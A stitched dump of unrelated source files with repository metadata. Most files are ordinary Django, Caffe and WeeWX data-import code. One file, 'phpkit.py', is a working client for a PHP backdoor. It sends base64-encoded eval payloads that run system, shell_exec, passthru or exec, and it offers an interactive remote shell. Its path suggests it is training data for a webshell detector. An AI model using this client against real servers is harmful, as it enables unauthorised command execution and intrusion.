'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
}
}
# Password validation
# https://docs.djangoproject.com/en/2.2/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
# Internationalization
# https://docs.djangoproject.com/en/2.2/topics/i18n/
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/2.2/howto/static-files/
STATIC_URL = '/static/'
| [
"[email protected]"
] | |
45bacb05fc6d52db3bf16e54711457bce0c21cec | 65efba029ed56dfc39040fed7f37f9133f3ff5b5 | /code/day-0/helloworld.py | e2d5bfe3785611c0dcd99a1e031786ccbfea1e9c | [] | no_license | richasharma3101/100--Days-of-Code | 59b1435742006ab3a5e165ab1ce653a34abc22e5 | 7dd7be91e5626ed4bca8979acd1a8dc50996f0c6 | refs/heads/master | 2020-03-22T09:28:40.009536 | 2018-07-09T09:26:39 | 2018-07-09T09:26:39 | 139,840,353 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 37 | py | print("Hello World, This is Richa.")
| [
"[email protected]"
] | |
2a7bbb2f6b0ebaa6441414a848b597150d614732 | 2ba91a96863b5cb11aa273a4fe0737ed65c44cc8 | /utils/train_data/webshell/PHP/tennc/php/phpkit-0.2a/phpkit.py | 37a7e824006554751b171a591ba1bc437f644c3d | [
"MIT"
] | permissive | huangyuan666/webshell_detect_cms | ded1b40fe3dd6241c2d3b27e285f6751d79dca28 | aeda3b59a6d281df8eae8e5f34d839e98e546364 | refs/heads/master | 2023-03-19T15:14:59.021286 | 2020-06-12T01:35:50 | 2020-06-12T01:35:50 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,467 | py | #!/usr/bin/python
# Client for the php://input based backdoor
# Website: insecurety.net
# Author: infodox
# Twatter: @info_dox
# Insecurety Research - 2013
# version: 0.2a
import requests
import sys
if (len(sys.argv) != 2):
print "Usage: " + sys.argv[0] + " <url of backdoor>"
print "Example: " + sys.argv[0] + " http://localhost/odd.php"
sys.exit(0)
url = sys.argv[1]
tester = """echo w00tw00tw00t"""
testkey = """w00tw00tw00t"""
print "\n[+] URL in use: %s \n" %(url)
### ###
# Whole Bunch of Functions #
### ###
def genphp(func, cmd):
if func == "system":
rawphp = """system('%s');""" %(cmd)
elif func == "shellexec":
rawphp = """echo shell_exec('%s');""" %(cmd)
elif func == "passthru":
rawphp = """passthru('%s');""" %(cmd)
elif func == "exec":
rawphp = """echo exec('%s');""" %(cmd)
encodedphp = rawphp.encode('base64')
payload = """<?php eval(base64_decode('%s')); ?>""" %(encodedphp)
return payload
def test(url, tester, testkey): # This whole function is ugly as sin
print "[+] Testing system()" # I need to make it tighter
payload = genphp('system', tester) # No, really. Look at the waste
r = requests.post(url, payload) # It could be TIIINY and fast!
if testkey in r.text:
print "[+] system() works, using system."
func = 'system'
return func
else:
print "[-] system() seems disabled :("
pass
print "[+] Testing shell_exec()" # LOOK AT THE FORKING CODE REUSE
payload = genphp('shellexec', tester) # THIS COULD BE TINY
r = requests.post(url, payload) # But. Coffee is lacking
if testkey in r.text:
print "[+] shell_exec() works, using shell_exec"
func = 'shellexec'
return func
else:
print "[-] shell_exec() seems disabled :("
pass
print "[+] Testing passthru()"
payload = genphp('passthru', tester)
r = requests.post(url, payload)
if testkey in r.text:
print "[+] passthru() works, using passthru"
func = 'passthru'
return func
else:
print "[-] passthru() seems disabled :("
pass
print "[+] Testing exec()"
payload = genphp('exec', tester)
r = requests.post(url, payload)
if testkey in r.text:
print "[+] exec() works, using exec"
func = 'exec'
return func
else:
print "[-] exec() seems disabled :("
pass
### ###
# End of functions and object oriented stuff #
### ###
# the main body
func = test(url, tester, testkey)
while True:
try:
cmd = raw_input("shell:~$ ")
if cmd == "quit":
print "\n[-] Quitting"
sys.exit(0)
elif cmd == "exit":
print "\n[-] Quitting"
sys.exit(0)
else:
try:
payload = genphp(func, cmd)
hax = requests.post(url, payload)
print hax.text
except Exception or KeyboardInterrupt:
print "[-] Exception Caught, I hope"
sys.exit(0)
except Exception or KeyboardInterrupt:
print "[-] Exception or CTRL+C Caught, I hope"
print "[-] Exiting (hopefully) cleanly..."
sys.exit(0)
| [
"[email protected]"
] | |
fabdf4b82016a7247201a57893901b238a5f23a8 | d1fd6af9c45513aaa81d14ad1781546d1976ea31 | /testtt.py | 2d379c44a1086ca5e35dff32e412953dc57078ae | [] | no_license | PaDome/test-2 | 3df76a2ae66e9376387fea7174013a910f0864a9 | a2a790a6c94fedb9bd0ba366f36d5bb651100479 | refs/heads/main | 2023-03-07T15:40:19.519203 | 2021-02-19T10:28:48 | 2021-02-19T10:28:48 | 340,328,656 | 0 | 0 | null | 2021-02-19T10:28:48 | 2021-02-19T10:03:22 | Python | UTF-8 | Python | false | false | 16 | py | into the battle
| [
"[email protected]"
] | |
ddeacda0ced47f2377a8e64f764360d8e6b9df56 | 14798e841df7cf929683b1c2ad3b0e275363760c | /TRANSrisk_fcm_project/settings.py | 15689e6f82338c01f1b07dbc19483ed8a2c16425 | [
"MIT"
] | permissive | gtsapelas/TRANSrisk_fcm_project | e4442eb8267714743ded7b223d7aca4b6777004a | d9d0efc6d693461fda14a71481c6061756527dcb | refs/heads/master | 2021-06-14T20:05:15.861647 | 2018-12-14T14:23:14 | 2018-12-14T14:23:14 | 95,547,583 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 995 | py | import os
# import the appropriate settings file
if os.environ.get('Production', '') == 'On':
# production settings
from TRANSrisk_fcm_project.settings_management.production import *
else:
try:
# custom settings files
settings_files = [sf.strip() for sf in
open('TRANSrisk_fcm_project//settings_management/settings-loader.txt', 'r').read().split(',')]
for settings_file in settings_files:
if settings_file == 'development_gtsap':
from TRANSrisk_fcm_project.settings_management.development_gtsap import *
elif settings_file == 'development':
from TRANSrisk_fcm_project.settings_management.development import *
elif settings_file == 'production':
from TRANSrisk_fcm_project.settings_management.production import *
except IOError:
# default development settings
from TRANSrisk_fcm_project.settings_management.development import *
| [
"[email protected]"
] | |
e6eb08b4c643785c7b78ee713d29c24d3a2919ea | 797f01431a3fc2a988be3c73ea0ee4d716238596 | /FATAUVA-Net/layers/multi_accuracy.py | ffbba3267a3478a3b7c75686a51a581d31353504 | [] | no_license | wuhao1999/FATAUVA-Net-for-facial-emotion-with-caffe | 27965e2a55de7abd104d3ad47a97f5668273a49b | af6e063cc927c04e3486b547d65ba1bebdd00882 | refs/heads/master | 2021-09-07T22:20:37.236429 | 2018-03-02T02:30:56 | 2018-03-02T02:30:56 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,878 | py | import caffe
import numpy as np
def hamming_distance(gt, est):
return sum([1 for (g, e) in zip(gt, est) if g == e]) / float(len(gt))
class MultilabelAccuracy(caffe.Layer):
def setup(self, bottom, top):
# params is a python dictionary with layer parameters.
params = eval(self.param_str)
self.batch_size = params['batch_size']
check_params(params)
top[0].reshape((1))
top[1].reshape((10))
print_info("MultilabelAccuracy", params)
def forward(self, bottom, top):
"""
Load data.
"""
acc = 0
s_acc = np.zeros(10)
gts = bottom[0].data.reshape(self.batch_size, 10)
ests = np.concatenate((bottom[1].data, bottom[2].data,
bottom[3].data, bottom[4].data), axis=1) > 0
for gt, est in zip(gts, ests): # for each ground truth and estimated label vector
acc += hamming_distance(gt, est)
for i in range(10):
gt = gts[:,i]
est = ests[:,i]
s_acc[i] = sum([1 for (g, e) in zip(gt, est) if g == e])
top[0].data[...] = acc / self.batch_size
top[1].data[...] = s_acc / self.batch_size
def reshape(self, bottom, top):
"""
There is no need to reshape the data, since the input is of fixed size
(rows and columns)
"""
pass
def backward(self, top, propagate_down, bottom):
"""
These layers does not back propagate
"""
pass
def check_params(params):
required = ['batch_size']
for r in required:
assert r in list(params.keys()), 'Params must include {}'.format(r)
def print_info(name, params):
print("{} initialized with bs: {}".format(
name,
params['batch_size']))
| [
"[email protected]"
] | |
adbea91105546269820aab57ff3f6c00ada74dfc | 6a95112805b64322953429270a305d01fef3faea | /dist/weewx-4.6.0b7/bin/weeimport/weeimport.py | 287ef4db6fe835db193cd81023ef16804fe1575a | [
"GPL-1.0-or-later",
"GPL-3.0-only",
"Apache-2.0"
] | permissive | tomdotorg/docker-weewx | c6d59dc492a9e53f3bc898f7b9f593717092d72c | 7085654f455d39b06acc688738fde27e1f78ad1e | refs/heads/main | 2023-06-08T17:57:44.184399 | 2023-01-30T11:21:23 | 2023-01-30T11:21:23 | 54,113,384 | 21 | 16 | Apache-2.0 | 2022-10-19T23:46:26 | 2016-03-17T11:39:29 | Dockerfile | UTF-8 | Python | false | false | 66,265 | py | #
# Copyright (c) 2009-2021 Tom Keffer <[email protected]> and Gary Roderick
#
# See the file LICENSE.txt for your full rights.
#
"""Module providing the base classes and API for importing observational data
into WeeWX.
"""
from __future__ import with_statement
from __future__ import print_function
from __future__ import absolute_import
# Python imports
import datetime
import logging
import numbers
import re
import sys
import time
from datetime import datetime as dt
import six
from six.moves import input
# WeeWX imports
import weecfg
import weecfg.database
import weewx
import weewx.qc
import weewx.wxservices
from weewx.manager import open_manager_with_config
from weewx.units import unit_constants, unit_nicknames, convertStd, to_std_system, ValueTuple
from weeutil.weeutil import timestamp_to_string, option_as_list, to_int, tobool, get_object, max_with_none
log = logging.getLogger(__name__)
# List of sources we support
SUPPORTED_SOURCES = ['CSV', 'WU', 'Cumulus', 'WD', 'WeatherCat']
# Minimum requirements in any explicit or implicit WeeWX field-to-import field
# map
MINIMUM_MAP = {'dateTime': {'units': 'unix_epoch'},
'usUnits': {'units': None},
'interval': {'units': 'minute'}}
# ============================================================================
# Error Classes
# ============================================================================
class WeeImportOptionError(Exception):
"""Base class of exceptions thrown when encountering an error with a
command line option.
"""
class WeeImportMapError(Exception):
"""Base class of exceptions thrown when encountering an error with an
external source-to-WeeWX field map.
"""
class WeeImportIOError(Exception):
"""Base class of exceptions thrown when encountering an I/O error with an
external source.
"""
class WeeImportFieldError(Exception):
"""Base class of exceptions thrown when encountering an error with a field
from an external source.
"""
class WeeImportDecodeError(Exception):
"""Base class of exceptions thrown when encountering a decode error with an
external source.
"""
# ============================================================================
# class Source
# ============================================================================
class Source(object):
""" Abstract base class used for interacting with an external data source
to import records into the WeeWX archive.
__init__() must define the following properties:
dry_run - Is this a dry run (ie do not save imported records
to archive). [True|False].
calc_missing - Calculate any missing derived observations.
[True|False].
ignore_invalid_data - Ignore any invalid data found in a source field.
[True|False].
tranche - Number of records to be written to archive in a
single transaction. Integer.
interval - Method of determining interval value if interval
field not included in data source.
['config'|'derive'|x] where x is an integer.
Child classes are used to interact with a specific source (eg CSV file,
WU). Any such child classes must define a getRawData() method which:
- gets the raw observation data and returns an iterable yielding data
dicts whose fields can be mapped to a WeeWX archive field
- defines an import data field-to-WeeWX archive field map (self.map)
self.raw_datetime_format - Format of date time data field from which
observation timestamp is to be derived. A
string in Python datetime string format such
as '%Y-%m-%d %H:%M:%S'. If the date time
data field cannot be interpreted as a string
wee_import attempts to interpret the field
as a unix timestamp. If the field is not a
valid unix timestamp an error is raised.
"""
# reg expression to match any HTML tag of the form <...>
_tags = re.compile(r'\<.*\>')
def __init__(self, config_dict, import_config_dict, options):
"""A generic initialisation.
Set some realistic default values for options read from the import
config file. Obtain objects to handle missing derived obs (if required)
and QC on imported data. Parse any --date command line option so we
know what records to import.
"""
# save our WeeWX config dict
self.config_dict = config_dict
# get our import config dict settings
# interval, default to 'derive'
self.interval = import_config_dict.get('interval', 'derive')
# do we ignore invalid data, default to True
self.ignore_invalid_data = tobool(import_config_dict.get('ignore_invalid_data',
True))
# tranche, default to 250
self.tranche = to_int(import_config_dict.get('tranche', 250))
# apply QC, default to True
self.apply_qc = tobool(import_config_dict.get('qc', True))
# calc-missing, default to True
self.calc_missing = tobool(import_config_dict.get('calc_missing', True))
# Some sources include UV index and solar radiation values even if no
# sensor was present. The WeeWX convention is to store the None value
# when a sensor or observation does not exist. Record whether UV and/or
# solar radiation sensor was present.
# UV, default to True
self.UV_sensor = tobool(import_config_dict.get('UV_sensor', True))
# solar, default to True
self.solar_sensor = tobool(import_config_dict.get('solar_sensor', True))
# initialise ignore extreme > 255.0 values for temperature and
# humidity fields for WD imports
self.ignore_extr_th = False
self.db_binding_wx = get_binding(config_dict)
self.dbm = open_manager_with_config(config_dict, self.db_binding_wx,
initialize=True,
default_binding_dict={'table_name': 'archive',
'manager': 'weewx.wxmanager.DaySummaryManager',
'schema': 'schemas.wview_extended.schema'})
# get the unit system used in our db
if self.dbm.std_unit_system is None:
# we have a fresh archive (ie no records) so cannot deduce
# the unit system in use, so go to our config_dict
self.archive_unit_sys = unit_constants[self.config_dict['StdConvert'].get('target_unit',
'US')]
else:
# get our unit system from the archive db
self.archive_unit_sys = self.dbm.std_unit_system
# get ourselves a QC object to do QC on imported records
try:
mm_dict = config_dict['StdQC']['MinMax']
except KeyError:
mm_dict = {}
self.import_QC = weewx.qc.QC(mm_dict)
# Process our command line options
self.dry_run = options.dry_run
self.verbose = options.verbose
self.no_prompt = options.no_prompt
self.suppress = options.suppress
# By processing any --date, --from and --to options we need to derive
# self.first_ts and self.last_ts; the earliest (exclusive) and latest
# (inclusive) timestamps of data to be imported. If we have no --date,
# --from or --to then set both to None (we then get the default action
# for each import type).
# First we see if we have a valid --date, if not then we look for
# --from and --to.
if options.date or options.date == "":
# there is a --date but is it valid
try:
_first_dt = dt.strptime(options.date, "%Y-%m-%d")
except ValueError:
# Could not convert --date. If we have a --date it must be
# valid otherwise we can't continue so raise it.
_msg = "Invalid --date option specified."
raise WeeImportOptionError(_msg)
else:
# we have a valid date so do some date arithmetic
_last_dt = _first_dt + datetime.timedelta(days=1)
self.first_ts = time.mktime(_first_dt.timetuple())
self.last_ts = time.mktime(_last_dt.timetuple())
elif options.date_from or options.date_to or options.date_from == '' or options.date_to == '':
# There is a --from and/or a --to, but do we have both and are
# they valid.
# try --from first
try:
if 'T' in options.date_from:
_from_dt = dt.strptime(options.date_from, "%Y-%m-%dT%H:%M")
else:
_from_dt = dt.strptime(options.date_from, "%Y-%m-%d")
_from_ts = time.mktime(_from_dt.timetuple())
except TypeError:
# --from not specified we can't continue so raise it
_msg = "Missing --from option. Both --from and --to must be specified."
raise WeeImportOptionError(_msg)
except ValueError:
# could not convert --from, we can't continue so raise it
_msg = "Invalid --from option."
raise WeeImportOptionError(_msg)
# try --to
try:
if 'T' in options.date_to:
_to_dt = dt.strptime(options.date_to, "%Y-%m-%dT%H:%M")
else:
_to_dt = dt.strptime(options.date_to, "%Y-%m-%d")
# since it is just a date we want the end of the day
_to_dt += datetime.timedelta(days=1)
_to_ts = time.mktime(_to_dt.timetuple())
except TypeError:
# --to not specified , we can't continue so raise it
_msg = "Missing --to option. Both --from and --to must be specified."
raise WeeImportOptionError(_msg)
except ValueError:
# could not convert --to, we can't continue so raise it
_msg = "Invalid --to option."
raise WeeImportOptionError(_msg)
# If we made it here we have a _from_ts and _to_ts. Do a simple
# error check first.
if _from_ts > _to_ts:
# from is later than to, raise it
_msg = "--from value is later than --to value."
raise WeeImportOptionError(_msg)
self.first_ts = _from_ts
self.last_ts = _to_ts
else:
# no --date or --from/--to so we take the default, set all to None
self.first_ts = None
self.last_ts = None
# initialise a few properties we will need during the import
# answer flags
self.ans = None
self.interval_ans = None
# properties to help with processing multi-period imports
self.period_no = None
# total records processed
self.total_rec_proc = 0
# total unique records identified
self.total_unique_rec = 0
# total duplicate records identified
self.total_duplicate_rec = 0
# time we started to first save
self.t1 = None
# time taken to process
self.tdiff = None
# earliest timestamp imported
self.earliest_ts = None
# latest timestamp imported
self.latest_ts = None
# initialise two sets to hold timestamps of records for which we
# encountered duplicates
# duplicates seen over all periods
self.duplicates = set()
# duplicates seen over the current period
self.period_duplicates = set()
@staticmethod
def sourceFactory(options, args):
"""Factory to produce a Source object.
Returns an appropriate object depending on the source type. Raises a
weewx.UnsupportedFeature error if an object could not be created.
"""
# get some key WeeWX parameters
# first the config dict to use
config_path, config_dict = weecfg.read_config(options.config_path, args)
# get wee_import config dict if it exists
import_config_path, import_config_dict = weecfg.read_config(None,
args,
file_name=options.import_config_path)
# we should have a source parameter at the root of out import config
# file, try to get it but be prepared to catch the error.
try:
source = import_config_dict['source']
except KeyError:
# we have no source parameter so check if we have a single source
# config stanza, if we do then proceed using that
_source_keys = [s for s in SUPPORTED_SOURCES if s in import_config_dict.keys]
if len(_source_keys) == 1:
# we have a single source config stanza so use that
source = _source_keys[0]
else:
# there is no source parameter and we do not have a single
# source config stanza so raise an error
_msg = "Invalid 'source' parameter or no 'source' parameter specified in %s" % import_config_path
raise weewx.UnsupportedFeature(_msg)
# if we made it this far we have all we need to create an object
module_class = '.'.join(['weeimport',
source.lower() + 'import',
source + 'Source'])
return get_object(module_class)(config_dict,
config_path,
import_config_dict.get(source, {}),
import_config_path,
options)
def run(self):
"""Main entry point for importing from an external source.
Source data may be provided as a group of records over a single period
(eg a single CSV file) or as a number of groups of records covering
multiple periods(eg a WU multi-day import). Step through each group of
records, getting the raw data, mapping the data and saving the data for
each period.
"""
# setup a counter to count the periods of records
self.period_no = 1
# obtain the lastUpdate meta data value before we import anything
last_update = to_int(self.dbm._read_metadata('lastUpdate'))
with self.dbm as archive:
if self.first_period:
# collect the time for some stats reporting later
self.t1 = time.time()
# it's convenient to give this message now
if self.dry_run:
print('Starting dry run import ...')
else:
print('Starting import ...')
if self.first_period and not self.last_period:
# there are more periods so say so
print("Records covering multiple periods have been identified for import.")
# step through our periods of records until we reach the end. A
# 'period' of records may comprise the contents of a file, a day
# of WU obs or a month of Cumulus obs
for period in self.period_generator():
# if we are importing multiple periods of data then tell the
# user what period we are up to
if not (self.first_period and self.last_period):
print("Period %d ..." % self.period_no)
# get the raw data
_msg = 'Obtaining raw import data for period %d ...' % self.period_no
if self.verbose:
print(_msg)
log.info(_msg)
try:
_raw_data = self.getRawData(period)
except WeeImportIOError as e:
print("**** Unable to load source data for period %d." % self.period_no)
log.info("**** Unable to load source data for period %d." % self.period_no)
print("**** %s" % e)
log.info("**** %s" % e)
print("**** Period %d will be skipped. Proceeding to next period." % self.period_no)
log.info("**** Period %d will be skipped. Proceeding to next period." % self.period_no)
# increment our period counter
self.period_no += 1
continue
except WeeImportDecodeError as e:
print("**** Unable to decode source data for period %d." % self.period_no)
log.info("**** Unable to decode source data for period %d." % self.period_no)
print("**** %s" % e)
log.info("**** %s" % e)
print("**** Period %d will be skipped. Proceeding to next period." % self.period_no)
log.info("**** Period %d will be skipped. Proceeding to next period." % self.period_no)
print("**** Consider specifying the source file encoding using the 'source_encoding' config option.")
log.info("**** Consider specifying the source file encoding using the 'source_encoding' config option.")
# increment our period counter
self.period_no += 1
continue
_msg = 'Raw import data read successfully for period %d.' % self.period_no
if self.verbose:
print(_msg)
log.info(_msg)
# map the raw data to a WeeWX archive compatible dictionary
_msg = 'Mapping raw import data for period %d ...' % self.period_no
if self.verbose:
print(_msg)
log.info(_msg)
_mapped_data = self.mapRawData(_raw_data, self.archive_unit_sys)
_msg = 'Raw import data mapped successfully for period %d.' % self.period_no
if self.verbose:
print(_msg)
log.info(_msg)
# save the mapped data to archive
# first advise the user and log, but only if its not a dry run
if not self.dry_run:
_msg = 'Saving mapped data to archive for period %d ...' % self.period_no
if self.verbose:
print(_msg)
log.info(_msg)
self.saveToArchive(archive, _mapped_data)
# advise the user and log, but only if its not a dry run
if not self.dry_run:
_msg = 'Mapped data saved to archive successfully for period %d.' % self.period_no
if self.verbose:
print(_msg)
log.info(_msg)
# increment our period counter
self.period_no += 1
# The source data has been processed and any records saved to
# archive (except if it was a dry run).
# now update the lastUpdate meta data field, set it to the max of
# the timestamp of the youngest record imported and the value of
# lastUpdate from before we started
new_last_update = max_with_none((last_update, self.latest_ts))
if new_last_update is not None:
self.dbm._write_metadata('lastUpdate', str(int(new_last_update)))
# If necessary, calculate any missing derived fields and provide
# the user with suitable summary output.
if self.total_rec_proc == 0:
# nothing was imported so no need to calculate any missing
# fields just inform the user what was done
_msg = 'No records were identified for import. Exiting. Nothing done.'
print(_msg)
log.info(_msg)
else:
# We imported something, but was it a dry run or not?
total_rec = self.total_rec_proc + self.total_duplicate_rec
if self.dry_run:
# It was a dry run. Skip calculation of missing derived
# fields (since there are no archive records to process),
# just provide the user with a summary of what we did.
_msg = "Finished dry run import"
print(_msg)
log.info(_msg)
_msg = "%d records were processed and %d unique records would "\
"have been imported." % (total_rec,
self.total_rec_proc)
print(_msg)
log.info(_msg)
if self.total_duplicate_rec > 1:
_msg = "%d duplicate records were ignored." % self.total_duplicate_rec
print(_msg)
log.info(_msg)
elif self.total_duplicate_rec == 1:
_msg = "1 duplicate record was ignored."
print(_msg)
log.info(_msg)
else:
# It was not a dry run so calculate any missing derived
# fields and provide the user with a summary of what we did.
if self.calc_missing:
# We were asked to calculate missing derived fields, so
# get a CalcMissing object.
# First construct a CalcMissing config dict
# (self.dry_run will never be true). Subtract 0.5
# seconds from earliest timestamp as calc_missing only
# calculates missing derived obs for records
# timestamped after start_ts.
calc_missing_config_dict = {'name': 'Calculate Missing Derived Observations',
'binding': self.db_binding_wx,
'start_ts': self.earliest_ts-0.5,
'stop_ts': self.latest_ts,
'trans_days': 1,
'dry_run': self.dry_run is True}
# now obtain a CalcMissing object
self.calc_missing_obj = weecfg.database.CalcMissing(self.config_dict,
calc_missing_config_dict)
_msg = "Calculating missing derived observations ..."
print(_msg)
log.info(_msg)
# do the calculations
self.calc_missing_obj.run()
_msg = "Finished calculating missing derived observations"
print(_msg)
log.info(_msg)
# now provide the summary report
_msg = "Finished import"
print(_msg)
log.info(_msg)
_msg = "%d records were processed and %d unique records " \
"imported in %.2f seconds." % (total_rec,
self.total_rec_proc,
self.tdiff)
print(_msg)
log.info(_msg)
if self.total_duplicate_rec > 1:
_msg = "%d duplicate records were ignored." % self.total_duplicate_rec
print(_msg)
log.info(_msg)
elif self.total_duplicate_rec == 1:
_msg = "1 duplicate record was ignored."
print(_msg)
log.info(_msg)
print("Those records with a timestamp already in the archive will not have been")
print("imported. Confirm successful import in the WeeWX log file.")
def parseMap(self, source_type, source, import_config_dict):
"""Produce a source field-to-WeeWX archive field map.
Data from an external source can be mapped to the WeeWX archive using:
- a fixed field map (WU),
- a fixed field map with user specified source units (Cumulus), or
- a user defined field/units map.
All user defined mapping is specified in the import config file.
To generate the field map first look to see if we have a fixed map, if
we do validate it and return the resulting map. Otherwise look for user
specified mapping in the import config file, construct the field map
and return it. If there is neither a fixed map or user specified
mapping then raise an error.
Input parameters:
source_type: String holding name of the section in
import_config_dict that holds config details for the
source being used.
source: Iterable holding the source data. Used if import field
names are included in the source data (eg CSV).
import_config_dict: config dict from import config file.
Returns a map as a dictionary of elements with each element structured
as follows:
'archive_field_name': {'field_name': 'source_field_name',
'units': 'unit_name'}
where:
- archive_field_name is an observation name in the WeeWX
database schema
- source_field_name is the name of a field from the external
source
- unit_name is the WeeWX unit name of the units used by
source_field_name
"""
# start with the minimum map
_map = dict(MINIMUM_MAP)
# Do the easy one first, do we have a fixed mapping, if so validate it
if self._header_map:
# We have a static map that maps header fields to WeeWX (eg WU).
# Our static map may have entries for fields that don't exist in our
# source data so step through each field name in our source data and
# only add those that exist to our resulting map.
# first get a list of fields, source could be a DictReader object
# or a list of dicts, a DictReader will have a fieldnames property
try:
_field_names = source.fieldnames
except AttributeError:
# Not a DictReader so need to obtain the dict keys, could just
# pick a record and extract its keys but some records may have
# different keys to others. Use sets and a generator
# comprehension.
_field_names = set().union(*(list(d.keys()) for d in source))
# now iterate over the field names
for _key in _field_names:
# if we know about the field name add it to our map
if _key in self._header_map:
_map[self._header_map[_key]['map_to']] = {'field_name': _key,
'units': self._header_map[_key]['units']}
# Do we have a user specified map, if so construct our field map
elif 'FieldMap' in import_config_dict:
# we have a user specified map so construct our map dict
for _key, _item in six.iteritems(import_config_dict['FieldMap']):
_entry = option_as_list(_item)
# expect 2 parameters for each option: source field, units
if len(_entry) == 2:
# we have 2 parameter so that's field and units
_map[_key] = {'field_name': _entry[0],
'units': _entry[1]}
# if the entry is not empty then it might be valid ie just a
# field name (eg if usUnits is specified)
elif _entry != [''] and len(_entry) == 1:
# we have 1 parameter so it must be just name
_map[_key] = {'field_name': _entry[0]}
else:
# otherwise its invalid so ignore it
pass
# now do some crude error checking
# dateTime. We must have a dateTime mapping. Check for a 'field_name'
# field under 'dateTime' and be prepared to catch the error if it
# does not exist.
try:
if _map['dateTime']['field_name']:
# we have a 'field_name' entry so continue
pass
else:
# something is wrong, we have a 'field_name' entry but it
# is not valid so raise an error
_msg = "Invalid mapping specified in '%s' for " \
"field 'dateTime'." % self.import_config_path
raise WeeImportMapError(_msg)
except KeyError:
_msg = "No mapping specified in '%s' for field " \
"'dateTime'." % self.import_config_path
raise WeeImportMapError(_msg)
# usUnits. We don't have to have a mapping for usUnits but if we
# don't then we must have 'units' specified for each field mapping.
if 'usUnits' not in _map or _map['usUnits'].get('field_name') is None:
# no unit system mapping do we have units specified for
# each individual field
for _key, _val in six.iteritems(_map):
# we don't need to check dateTime and usUnits
if _key not in ['dateTime', 'usUnits']:
if 'units' in _val:
# we have a units field, do we know about it
if _val['units'] not in weewx.units.conversionDict \
and _val['units'] not in weewx.units.USUnits.values():
# we have an invalid unit string so tell the
# user and exit
_msg = "Unknown units '%s' specified for " \
"field '%s' in %s." % (_val['units'],
_key,
self.import_config_path)
raise weewx.UnitError(_msg)
else:
# we don't have a units field, that's not allowed
# so raise an error
_msg = "No units specified for source field " \
"'%s' in %s." % (_key,
self.import_config_path)
raise WeeImportMapError(_msg)
# if we got this far we have a usable map, advise the user what we
# will use
_msg = "The following imported field-to-WeeWX field map will be used:"
if self.verbose:
print(_msg)
log.info(_msg)
for _key, _val in six.iteritems(_map):
if 'field_name' in _val:
_units_msg = ""
if 'units' in _val:
_units_msg = " in units '%s'" % _val['units']
_msg = " source field '%s'%s --> WeeWX field '%s'" % (_val['field_name'],
_units_msg,
_key)
if self.verbose:
print(_msg)
log.info(_msg)
else:
# no [[FieldMap]] stanza and no _header_map so raise an error as we
# don't know what to map
_msg = "No '%s' field map found in %s." % (source_type,
self.import_config_path)
raise WeeImportMapError(_msg)
return _map
def mapRawData(self, data, unit_sys=weewx.US):
"""Maps raw data to WeeWX archive record compatible dictionaries.
Takes an iterable source of raw data observations, maps the fields of
each row to a list of WeeWX compatible archive records and performs any
necessary unit conversion.
Input parameters:
data: iterable that yields the data records to be processed.
unit_sys: WeeWX unit system in which the generated records will be
provided. Omission will result in US customary (weewx.US)
being used.
Returns a list of dicts of WeeWX compatible archive records.
"""
# initialise our list of mapped records
_records = []
# initialise some rain variables
_last_ts = None
_last_rain = None
# list of fields we have given the user a warning over, prevents us
# giving multiple warnings for the same field.
_warned = []
# step through each row in our data
for _row in data:
_rec = {}
# first off process the fields that require special processing
# dateTime
if 'field_name' in self.map['dateTime']:
# we have a map for dateTime
try:
_raw_dateTime = _row[self.map['dateTime']['field_name']]
except KeyError:
_msg = "Field '%s' not found in source data." % self.map['dateTime']['field_name']
raise WeeImportFieldError(_msg)
# now process the raw date time data
if isinstance(_raw_dateTime, numbers.Number) or _raw_dateTime.isdigit():
# Our dateTime is a number, is it a timestamp already?
# Try to use it and catch the error if there is one and
# raise it higher.
try:
_rec_dateTime = int(_raw_dateTime)
except ValueError:
_msg = "Invalid '%s' field. Cannot convert '%s' to " \
"timestamp." % (self.map['dateTime']['field_name'],
_raw_dateTime)
raise ValueError(_msg)
else:
# it's a non-numeric string so try to parse it and catch
# the error if there is one and raise it higher
try:
_datetm = time.strptime(_raw_dateTime,
self.raw_datetime_format)
_rec_dateTime = int(time.mktime(_datetm))
except ValueError:
_msg = "Invalid '%s' field. Cannot convert '%s' to " \
"timestamp." % (self.map['dateTime']['field_name'],
_raw_dateTime)
raise ValueError(_msg)
# if we have a timeframe of concern does our record fall within
# it
if (self.first_ts is None and self.last_ts is None) or \
self.first_ts < _rec_dateTime <= self.last_ts:
# we have no timeframe or if we do it falls within it so
# save the dateTime
_rec['dateTime'] = _rec_dateTime
# update earliest and latest record timstamps
if self.earliest_ts is None or _rec_dateTime < self.earliest_ts:
self.earliest_ts = _rec_dateTime
if self.latest_ts is None or _rec_dateTime > self.earliest_ts:
self.latest_ts = _rec_dateTime
else:
# it is not so skip to the next record
continue
else:
# there is no mapped field for dateTime so raise an error
raise ValueError("No mapping for WeeWX field 'dateTime'.")
# usUnits
_units = None
if 'field_name' in self.map['usUnits']:
# we have a field map for a unit system
try:
# The mapped field is in _row so try to get the raw data.
# If its not there then raise an error.
_raw_units = int(_row[self.map['usUnits']['field_name']])
except KeyError:
_msg = "Field '%s' not found in source data." % self.map['usUnits']['field_name']
raise WeeImportFieldError(_msg)
# we have a value but is it valid
if _raw_units in unit_nicknames:
# it is valid so use it
_units = _raw_units
else:
# the units value is not valid so raise an error
_msg = "Invalid unit system '%s'(0x%02x) mapped from data source. " \
"Check data source or field mapping." % (_raw_units,
_raw_units)
raise weewx.UnitError(_msg)
# interval
if 'field_name' in self.map['interval']:
# We have a map for interval so try to get the raw data. If
# its not there then raise an error.
try:
_tfield = _row[self.map['interval']['field_name']]
except KeyError:
_msg = "Field '%s' not found in source data." % self.map['interval']['field_name']
raise WeeImportFieldError(_msg)
# now process the raw interval data
if _tfield is not None and _tfield != '':
try:
interval = int(_tfield)
except ValueError:
